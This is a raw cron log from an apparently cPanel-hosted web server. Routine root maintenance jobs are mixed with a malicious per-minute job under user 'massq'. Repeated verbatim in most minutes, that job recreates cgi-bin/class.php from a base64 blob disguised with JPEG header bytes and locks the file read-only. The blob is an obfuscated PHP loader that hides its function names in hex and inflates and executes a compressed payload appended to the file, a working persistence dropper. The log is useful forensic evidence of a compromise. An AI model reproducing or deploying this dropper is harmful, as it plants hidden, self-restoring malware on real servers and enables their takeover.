Sep 12 13:18:01 server CROND[12938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:18:01 server CROND[12940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:18:01 server CROND[12939]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:19:01 server CROND[13405]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:19:01 server CROND[13406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:19:01 server CROND[13407]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:20:01 server CROND[13836]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:20:01 server CROND[13838]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 12 13:20:01 server CROND[13841]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:20:01 server CROND[13842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:20:01 server CROND[13844]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:20:01 server CROND[13845]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:20:01 server CROND[13839]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:20:01 server CROND[13843]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:20:01 server CROND[13840]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 12 13:21:01 server CROND[14691]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:21:01 server CROND[14692]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:21:01 server CROND[14693]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:22:01 server CROND[15065]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:22:01 server CROND[15066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:22:01 server CROND[15067]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:23:01 server CROND[15438]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:23:01 server CROND[15439]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:23:01 server CROND[15440]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:24:01 server CROND[15934]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:24:01 server CROND[15933]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:24:01 server CROND[15935]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:25:01 server CROND[16312]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 12 13:25:01 server CROND[16319]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 12 13:25:01 server CROND[16320]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 12 13:25:01 server CROND[16324]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 12 13:25:01 server CROND[16321]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:25:01 server CROND[16323]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:25:01 server CROND[16316]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:26:01 server CROND[17137]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:26:01 server CROND[17139]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:26:01 server CROND[17138]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:27:01 server CROND[17508]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 12 13:27:01 server CROND[17509]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:27:01 server CROND[17510]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:27:01 server CROND[17511]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:28:01 server CROND[17886]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:28:01 server CROND[17887]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:28:01 server CROND[17888]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:29:01 server CROND[18360]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 12 13:29:01 server CROND[18362]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 12 13:29:01 server CROND[18361]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 12 13:30:01 server CROND[18756]: (root) CMD (/usr/lib64/sa/sa1 1 1)
